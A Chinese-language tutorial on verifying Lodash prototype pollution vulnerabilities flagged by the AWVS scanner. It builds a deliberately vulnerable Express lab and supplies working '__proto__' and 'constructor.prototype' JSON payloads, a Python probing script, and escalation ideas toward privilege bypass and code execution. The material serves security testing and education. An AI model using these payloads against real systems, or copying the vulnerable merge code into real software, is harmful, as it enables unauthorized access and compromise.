1. 项目概述:从“知道”到“验证”的跨越
在安全测试的日常工作中,我们经常会遇到扫描器(比如AWVS)报出各种漏洞。其中,像“Lodash原型链污染漏洞”这类依赖库的漏洞,报告上往往只有一个冷冰冰的CVE编号和风险等级,比如“CVE-2021-23337”。很多刚入门的朋友看到这个,第一反应可能是:“哦,高危漏洞,得修。” 但紧接着问题就来了:这个漏洞在我的目标应用上真的存在吗?它具体是怎么触发的?能造成什么实际影响?AWVS报的,就一定是真的吗?
这就是“漏洞验证”环节存在的核心价值。它不是一个简单的“是”或“否”的判断题,而是一个需要你亲自动手、深入理解漏洞原理,并最终在目标环境中复现出攻击效果的实证过程。对于Lodash这个在前端世界无处不在的工具库,其原型链污染漏洞的验证尤其典型。它不像SQL注入那样有直观的回显,其危害隐蔽且深远,从数据篡改到远程代码执行都有可能。因此,仅仅依赖扫描器的报告是远远不够的,误报和漏报时常发生。
这篇文章,就是为你准备的从零开始的实战指南。无论你是刚接触Web安全测试的新手,还是想深入理解JavaScript原型链污染机制的安全从业者,我都会带你一步步拆解。我们将从漏洞原理的通俗解读开始,到搭建一个用于验证的靶场环境,再到手把手编写验证脚本,最后深入分析AWVS的扫描逻辑,并分享我踩过的坑和总结的独家技巧。目标只有一个:让你不仅能看懂AWVS的报告,更能亲手验证它,从“知其然”进阶到“知其所以然”,最终具备独立判断和深入利用的能力。
2. 漏洞原理深度拆解:为什么Lodash会“污染”?
在动手之前,我们必须把原理吃透。很多人对“原型链污染”望而生畏,其实它的核心思想可以用一个生活化的比喻来理解:想象一家公司的规章制度(原型对象)。如果有个员工(对象A)想申请一项特殊福利,但公司的员工手册(A自身的属性)里没写,他就会去查阅部门的规章(A的原型),如果还没有,就会继续向上查找公司的总规章(Object的原型)。原型链污染,就相当于有人恶意修改了公司的总规章,在里面加了一条“所有员工年终奖减半”。那么,所有没有在自身或部门规章里明确定义“年终奖”属性的员工,都会自动“继承”这条恶意规则。
在JavaScript中,每个对象都有一个隐藏的__proto__属性(或通过Object.getPrototypeOf()访问),指向它的原型对象。当你访问一个对象的属性时,如果它自身没有,引擎就会沿着这条__proto__链向上查找。Lodash库中的某些函数,在特定使用方式下,会意外地允许攻击者修改这个原型链上的属性。
以经典的CVE-2019-10744(影响Lodash < 4.17.12)为例,罪魁祸首是_.defaultsDeep函数。这个函数的本意是“深度合并”多个对象,如果目标对象缺少某个属性,就用源对象的属性来填充。问题出在它的合并逻辑上。我们来看一段问题代码的简化逻辑:
// 模拟有问题的合并逻辑(非真实源码,便于理解) function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object' && source[key] !== null) { if (!target.hasOwnProperty(key)) { target[key] = {}; // 这里可能错误地创建了对象 } // 递归合并 merge(target[key], source[key]); } else { // 如果target没有这个属性,就赋值 if (!target.hasOwnProperty(key)) { target[key] = source[key]; } } } }关键点在于if (!target.hasOwnProperty(key)) { target[key] = {}; }这一行。如果攻击者构造一个特殊的source对象,其某个属性的键名是__proto__,而值也是一个对象{“polluted”: “yes”}。当函数递归处理到这个键时,target(可能是某个空对象{})自身没有__proto__属性,于是它就会执行target[“__proto__”] = {}。在JavaScript中,target[“__proto__”]的赋值操作,实际上修改的是target的原型(即Object.prototype)!这就导致了污染。
所以,污染发生的条件可以归纳为三点:
- 存在漏洞函数:使用了存在问题的Lodash函数(如
_.defaultsDeep,_.merge,_.set等在特定版本下的某些用法)。 - 用户输入可控:攻击者能够控制传入这些函数的对象数据(通常来自HTTP请求参数、JSON解析等)。
- 属性查找路径:目标应用后续存在基于原型链的属性查找逻辑。
污染成功后,影响是全局性的。例如,污染了Object.prototype后,任何对象在访问polluted属性时,只要自身没有定义,都会返回“yes”。这可能导致:
- 拒绝服务:污染了
toString、valueOf等方法,导致程序崩溃。 - 逻辑漏洞:影响应用的身份验证、权限判断逻辑(例如,检查
user.isAdmin,如果user对象没有isAdmin属性,就会去原型链上找,而攻击者恰好污染了Object.prototype.isAdmin = true)。 - 远程代码执行:在Node.js环境下,如果污染了
console.log等方法,或者结合模板引擎(如Pug/Jade)的渲染,可能实现更严重的攻击。
注意:不同CVE对应的具体函数和触发路径可能不同。例如CVE-2021-23337涉及
_.template,而CVE-2020-8203涉及_.zipObjectDeep。但核心的“通过可控输入修改原型”这一模式是相通的。验证前,务必明确你要验证的是哪个具体CVE。
3. 靶场环境搭建与工具准备
“工欲善其事,必先利其器。” 在真实网站上直接测试漏洞是极不道德且违法的行为。因此,我们需要一个安全的、可控的本地环境来练习。这里我提供两种最实用的方案:使用现成的漏洞靶场,或者自己动手搭建一个极简的测试页面。
3.1 方案一:使用现成漏洞靶场(推荐新手)
对于初学者,我强烈推荐使用专门的安全练习平台,它们集成了各种漏洞环境,开箱即用。
- PortSwigger Web Security Academy (Burp Suite官方靶场):这是我最推荐的免费资源。虽然它没有专门的Lodash靶场,但其“原型污染”实验模块(在“Server-side vulnerabilities”分类下)教授的原理和攻击手法是完全通用的。你可以在这里透彻理解原理后,再应用到Lodash上。
- Node.js原型污染专项靶场:GitHub上有很多开源项目,例如
client-side-prototype-pollution或一些CTF题目集。你可以搜索“prototype pollution lab”或“lodash CVE lab”来找到它们。通常只需要git clone下来,然后运行npm install和npm start即可。
3.2 方案二:手动搭建极简测试环境
如果你想更深入地控制每一个环节,自己搭建一个环境是最好的选择。这能让你对数据流向有最清晰的认识。
步骤1:创建项目目录在你的工作区新建一个文件夹,例如lodash-pollution-test。
步骤2:初始化并安装有漏洞的Lodash打开终端,进入该目录,执行以下命令:
npm init -y # 快速创建package.json npm install lodash@4.17.10 # 安装一个已知存在CVE-2019-10744漏洞的版本这里我们特意安装了一个存在漏洞的旧版本(4.17.10)。在实际验证中,你需要根据AWVS报告指出的CVE编号,去安装对应的受影响版本。
步骤3:创建测试服务器文件在项目根目录下,创建一个名为server.js的文件。我们将使用Node.js的Express框架来快速搭建一个Web服务器,并模拟一个存在漏洞的接口。
const express = require('express'); const _ = require('lodash'); // 引入有漏洞的lodash版本 const app = express(); const port = 3000; // 必须使用,用于解析JSON格式的请求体 app.use(express.json()); // 一个存在漏洞的API端点:使用_.defaultsDeep处理用户传入的配置 app.post('/api/merge-config', (req, res) => { try { const userConfig = req.body.config; // 用户可控的输入 const defaultConfig = { theme: 'light', permissions: { read: true, write: false } }; // 危险操作:使用有漏洞的函数合并对象 // 如果userConfig包含恶意构造的__proto__属性,就会污染原型链 const finalConfig = _.defaultsDeep({}, userConfig, defaultConfig); // 模拟后续操作:检查某个属性(这里模拟一个权限检查) const checkObj = {}; // 如果原型被污染,checkObj.isAdmin可能会变成true if (checkObj.isAdmin) { res.json({ message: 'Merged config. Warning: isAdmin property found on object!', config: finalConfig, polluted: true }); } else { res.json({ message: 'Config merged successfully.', config: finalConfig, polluted: false }); } } catch (error) { res.status(500).json({ error: error.message }); } }); // 另一个端点,用于检查污染是否成功 app.get('/api/check-pollution', (req, res) => { const testObj = {}; // 检查Object.prototype是否被添加了恶意属性 if (testObj.polluted || testObj.isAdmin) { res.json({ polluted: true, pollutedValue: testObj.polluted || testObj.isAdmin, prototypeStatus: Object.prototype }); } else { res.json({ polluted: false }); } }); app.listen(port, () => { console.log(`测试服务器运行在 http://localhost:${port}`); console.log(`存在漏洞的接口:POST http://localhost:${port}/api/merge-config`); console.log(`污染检查接口:GET http://localhost:${port}/api/check-pollution`); });步骤4:运行并测试在终端中运行:
node server.js如果看到服务器启动成功的日志,说明环境就绪。这个环境模拟了一个真实的场景:后端接收用户JSON配置,用_.defaultsDeep合并,后续代码可能依赖对象属性进行逻辑判断。
工具准备清单:
- 浏览器:Chrome或Firefox,用于访问测试页面和开发者工具调试。
- Burp Suite / OWASP ZAP:必备代理工具。用于拦截、查看、重放和修改HTTP请求,是漏洞验证的核心。社区版即可。
- Postman / cURL:用于快速发送构造好的恶意请求,进行自动化或脚本化测试。
- Node.js环境:如上所述,用于运行靶场或测试脚本。
实操心得:在搭建环境时,最容易出错的地方是
app.use(express.json())这行中间件忘记添加,导致req.body始终是undefined。务必确保它出现在路由处理之前。另外,我建议你在server.js中多添加几个使用不同漏洞函数(如_.merge,_.set)的接口,以便一次性测试多种情况。
4. 手把手漏洞验证实战
现在,我们进入最关键的实战环节。假设AWVS扫描报告指出目标https://example.com/api/user-profile接口可能存在Lodash原型链污染(CVE-2019-10744)。我们将模拟整个验证过程。
4.1 信息收集与目标分析
首先,不是盲目地发送Payload。我们需要分析:
- 接口特征:这是一个
POST还是GET接口?参数是通过JSON、表单还是查询字符串传递?用浏览器开发者工具的“网络(Network)”标签查看一次正常请求。 - 参数定位:哪些参数看起来是对象或数组?比如
config、options、data这类名称,或者嵌套的JSON结构。 - 响应线索:正常响应里是否包含合并后的数据?是否有错误信息暴露了后端技术栈(如“Lodash merge error”)?
假设我们分析发现,POST /api/user-profile接受一个JSON body,其中包含一个profile对象,用于更新用户信息。
4.2 构造并发送探测Payload
我们将使用Burp Suite来操作。
步骤1:拦截请求配置浏览器代理指向Burp,在浏览器中正常操作,触发一次更新用户资料的请求。Burp会拦截到这个请求。
步骤2:修改请求,插入探测Payload在Burp的Proxy -> Intercept标签页下,找到被拦截的请求。将其发送到Repeater模块(按Ctrl+R)以便反复测试。
在Repeater中,我们修改JSON body。最初的请求可能如下:
{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png" } }我们的目标是试探profile参数是否会被传入类似_.defaultsDeep的函数。构造一个经典的探测Payload:
{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png", "__proto__": { "polluted": "yes" } } }或者,更隐蔽的变体(因为有些过滤器会检查__proto__这个键名):
{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png", "constructor": { "prototype": { "polluted": "yes" } } } }步骤3:发送请求并观察响应点击“Send”发送修改后的请求。此时,不要急于在响应体中寻找“polluted”字样。原型污染的成功与否,往往不会在触发请求的响应中直接体现。
你需要关注:
- 响应状态码:是否从200变成了500或400?可能意味着Payload触发了异常。
- 响应时间:是否明显变长?可能触发了意外的递归。
- 响应体中的错误信息:有时后端会返回详细的错误栈,可能包含“Lodash”、“Maximum call stack”、“Cannot convert object to primitive value”等关键词,这都是强烈的暗示。
步骤4:验证污染是否成功这是关键一步。污染成功后,需要另一个请求来“检测”污染效果。我们通常有两种方式:
- 寻找应用本身的功能点:观察网站是否有其他地方会读取对象的某个属性。例如,找一个查看个人资料的
GET请求,看其返回的JSON中,是否多出了我们注入的polluted属性。或者,是否有权限判断的地方发生了改变。 - 使用通用检测接口:如果目标应用没有明显功能点,我们可以尝试诱导其输出被污染的原型属性。例如,发送一个请求,让服务器返回一个任意对象的JSON。或者,在我们的靶场中,直接调用之前写好的
/api/check-pollution接口。
在Repeater中,我们新开一个Tab,发送一个GET请求到可能输出对象信息的接口,或者直接发一个简单的POST请求,body为{},观察返回的对象是否包含了{“polluted”: “yes”}。
4.3 编写自动化验证脚本
手动在Burp里操作适合单点测试,但如果要对多个参数或接口进行批量测试,就需要脚本。这里提供一个使用Pythonrequests库的简单示例:
import requests import json import time def test_prototype_pollution(url, method="POST", param_name="profile"): """ 测试指定接口是否存在原型链污染漏洞 """ headers = {'Content-Type': 'application/json'} # 基础Payload payloads = [ {"__proto__": {"polluted": "PROTO_POLLUTED"}}, {"constructor": {"prototype": {"polluted": "CONSTRUCTOR_POLLUTED"}}}, ] for i, payload in enumerate(payloads): # 根据接口实际情况构造数据 if method.upper() == "POST": data = {param_name: payload} resp = requests.post(url, json=data, headers=headers, timeout=10) else: # 假设是GET,参数在查询字符串,需要特殊处理(通常不适合复杂对象) # 对于GET,原型污染通常通过查询参数解析实现,构造方式不同 print(f"GET请求的测试需要更精细的Payload构造,此处跳过") continue print(f"\n[*] 尝试Payload {i+1}: {json.dumps(payload)}") print(f" 状态码: {resp.status_code}") # 等待一下,让可能的污染生效 time.sleep(1) # 发送检测请求 # 这里需要你根据目标实际情况,找到一个用于检测的接口(detect_url) detect_url = url.replace('user-profile', 'get-info') # 示例 detect_resp = requests.get(detect_url, timeout=10) try: detect_json = detect_resp.json() # 检查返回的JSON对象中是否意外出现了我们的污染属性 # 注意:这里需要递归遍历检测JSON中的所有对象,以下为简单示例 if 'polluted' in str(detect_json): print(f"[!] 疑似污染成功!检测响应中包含 'polluted' 关键字") print(f" 检测响应: {detect_json}") return True, payload except: pass # 另一种检测:检查响应头或Body中是否有异常 if resp.status_code >= 500: print(f"[!] 服务器返回5xx错误,可能是Payload触发了异常。") elif 'polluted' in resp.text.lower(): print(f"[!] 直接响应中出现了污染属性!") return True, payload print(f"\n[-] 所有Payload测试完毕,未发现明显污染迹象。") return False, None if __name__ == "__main__": target_url = "http://localhost:3000/api/merge-config" # 替换成你的靶场或测试地址 is_vulnerable, bad_payload = test_prototype_pollution(target_url, param_name="config") if is_vulnerable: print(f"\n[+] 目标存在原型链污染漏洞!") print(f" 有效Payload: {json.dumps(bad_payload)}")注意事项:这个脚本是一个基础框架。在实际使用中,你需要根据目标API的具体情况大幅修改:
data的构造结构必须完全模拟正常请求。detect_url和检测逻辑需要你精心设计,这是验证成功与否的核心。有时需要同一个会话(session),所以可能要用requests.Session()。- 考虑目标可能对
__proto__、constructor等关键字进行过滤或转义,需要准备绕过Payload(如使用Object.prototype的__defineGetter__等)。
5. AWVS扫描报告解读与深度分析
当我们拿到一份AWVS关于Lodash漏洞的报告时,不应该只关注那个红色的“高危”标志。一份专业的报告解读能帮你事半功倍。
1. 定位关键信息:
- 漏洞名称/类型:通常会明确写着“Prototype Pollution in Lodash.js”或类似标题。
- CVE编号:例如CVE-2019-10744。这是你的行动指南,立刻用这个编号去搜索引擎(如NVD、CNVD)查询官方描述、受影响版本、漏洞细节和可能的PoC。
- 受影响URL/参数:AWVS会指出它是在测试哪个URL、哪个参数时触发警报的。这直接指明了测试入口点。
- HTTP请求/响应:报告里会包含触发警报的原始请求和响应数据。仔细分析这个请求,看AWVS是如何构造Payload的,这本身就是一种学习。同时,观察服务器的响应,是否有特征性错误。
2. 理解AWVS的扫描逻辑:AWVS等扫描器通常采用“黑盒+指纹识别+规则匹配”的方式:
- 指纹识别:它可能通过响应头中的
X-Powered-By、错误信息、或是引入的JS文件路径(如/static/vendor/lodash.min.js)来识别Lodash的存在。 - 版本推断:有时通过文件链接中的版本号(如
lodash.4.17.10.js)直接判断。如果版本号在受影响范围内,就会触发漏洞规则。 - 规则库探测:它内置了针对不同CVE的探测Payload。它会向所有可能的参数(特别是JSON格式的参数)插入这些Payload,然后尝试在后续的请求中检测是否污染成功(比如,它可能会紧接着发送另一个请求,检查响应中是否包含它注入的特定标记)。
3. 为什么需要人工验证?——扫描器的局限性
- 误报:扫描器可能只是检测到了Lodash库的存在和版本号,但实际代码中并未使用存在漏洞的函数,或者使用方式安全。这就是“版本误报”。
- 漏报:扫描器的Payload是通用的,可能无法覆盖目标应用特定的参数结构或过滤逻辑。例如,如果目标对输入做了严格的类型检查或过滤了
__proto__关键字,通用Payload就会失效。 - 深度不足:扫描器通常只能验证“污染是否可能发生”,但很难自动验证“污染后能造成什么实际危害”(如是否能升级为RCE)。这需要安全研究员根据应用上下文进行深度利用。
因此,你的验证工作,本质上是在做一次精准的、上下文相关的白盒/灰盒测试,以确认扫描器发现的“可能性”是一个“可利用性”高的真实漏洞。
6. 常见问题、排查技巧与高级利用思路
在验证过程中,你肯定会遇到各种问题。这里我总结了一个“排错清单”和进阶思路。
常见问题与解决方案速查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 发送Payload后,服务器返回400/500错误 | 1. Payload格式错误,JSON无效。 2. 服务器对请求结构有严格校验。 3. Payload触发了未处理的异常,导致程序崩溃。 | 1. 使用JSON验证工具检查Payload格式。 2. 先用完全正常的请求结构,只修改一个值,确保基础请求正确。 3. 查看详细的错误响应体,寻找线索。 |
| 服务器响应正常,但检测不到污染 | 1. 目标参数并未传入存在漏洞的函数。 2. 使用的Lodash函数或版本不受此CVE影响。 3. 污染成功,但检测点不对。 4. 应用有输入过滤或净化。 | 1. 尝试其他可能的参数(特别是嵌套对象)。 2. 确认AWVS报告的CVE编号,尝试该CVE对应的其他Payload变种。 3.思考应用的业务逻辑:污染后会影响哪里?用户权限?配置读取?尝试寻找不同的检测接口。 4. 尝试使用 constructor.prototype、Object.prototype等绕过过滤。 |
| 污染似乎成功,但属性值不是预期的 | 1. 服务器端对值进行了处理(如转义、截断)。 2. 多个合并操作覆盖了你的值。 | 1. 尝试不同的值(数字、布尔值、数组、对象)。 2. 尝试污染多个属性,看哪个能保留下来。 |
| 无法确定后端是否使用了Lodash | 1. 前端使用了,但后端可能没有。 2. 使用了打包工具,库被混淆。 | 1. 检查前端JS源码,搜索lodash、_.等关键字。2. 故意触发一个前端错误,看错误栈信息。 3.最有效的方法:如果可能,结合其他信息泄露漏洞(如源码泄露、调试接口)确认。 |
高级利用思路
当你确认原型污染存在后,可以思考如何提升漏洞的严重等级:
- 从污染到RCE(远程代码执行):这是在Node.js环境下最危险的利用。思路是污染一个能被代码执行流使用的属性。
- 目标:污染
Object.prototype上的方法,使其在child_process.exec、eval等函数被调用时,注入恶意代码。但这通常需要应用本身有这类危险函数的调用,并且调用时依赖于可能被污染的参数。 - 经典案例:结合模板引擎。如果应用使用
Pug(原名Jade)模板,并且污染了Object.prototype.block或Object.prototype.escape等属性,可能在渲染模板时执行任意代码。你需要研究特定模板引擎的渲染机制。
- 目标:污染
- 污染前端(Client-Side Prototype Pollution, CSPP):如果漏洞存在于前端JavaScript代码中(例如,从URL参数解析成对象后使用了有漏洞的Lodash函数),那么攻击的影响范围是所有访问该页面的用户。可以通过污染来操纵DOM、窃取Cookie、发起恶意请求等。验证时需要在浏览器开发者工具的Console中检查
Object.prototype是否被修改。 - 利用污染进行权限提升:这是最务实的利用。仔细分析应用逻辑,寻找那些根据对象属性进行权限判断的地方。例如:
如果你污染了// 后端可能存在的代码逻辑 if (currentUser.isSuperAdmin) { // currentUser对象可能没有isSuperAdmin属性 // 执行管理员操作 }Object.prototype.isSuperAdmin = true,那么所有currentUser对象(只要自身没有isSuperAdmin属性)都会通过这个检查。
我的独家避坑技巧
- “二分法”定位参数:如果请求参数很多,不确定是哪个触发的,可以先用正常请求,然后每次只在一个参数中插入Payload,快速定位脆弱点。
- 善用“Diff”工具:将发送污染Payload前后的两个“检测请求”的响应体保存下来,用文本对比工具(如
diff命令或Beyond Compare)进行比较。有时污染导致的差异非常细微(比如多了一个逗号,某个值从null变成了”polluted”),人眼很难发现。 - 上下文是关键:永远不要脱离应用上下文去验证漏洞。这个API是干什么的?它处理的数据会流向哪里?哪些地方会用到这些数据?回答这些问题,能帮你找到最有效的检测点和利用路径。
- 保持环境纯净:在Node.js靶场测试时,注意每次测试后重启服务。因为原型污染是持久性的,会污染整个Node进程环境,影响后续测试结果。使用
nodemon工具可以方便地自动重启。
验证一个漏洞,尤其是像原型污染这种隐蔽的漏洞,需要耐心、细心和对原理的深刻理解。AWVS的报告只是一个起点,它为你指明了方向。真正的价值在于你通过亲手验证,将报告上的一个条目,转化为对目标系统真实安全风险的理解。这个过程积累的经验和直觉,是任何自动化工具都无法替代的。希望这篇长文能成为你武器库中的一件实用工具,助你在安全测试的道路上走得更稳、更远。如果在实践中遇到新的问题,不妨回到原理和流程本身,从头梳理,往往会有新的发现。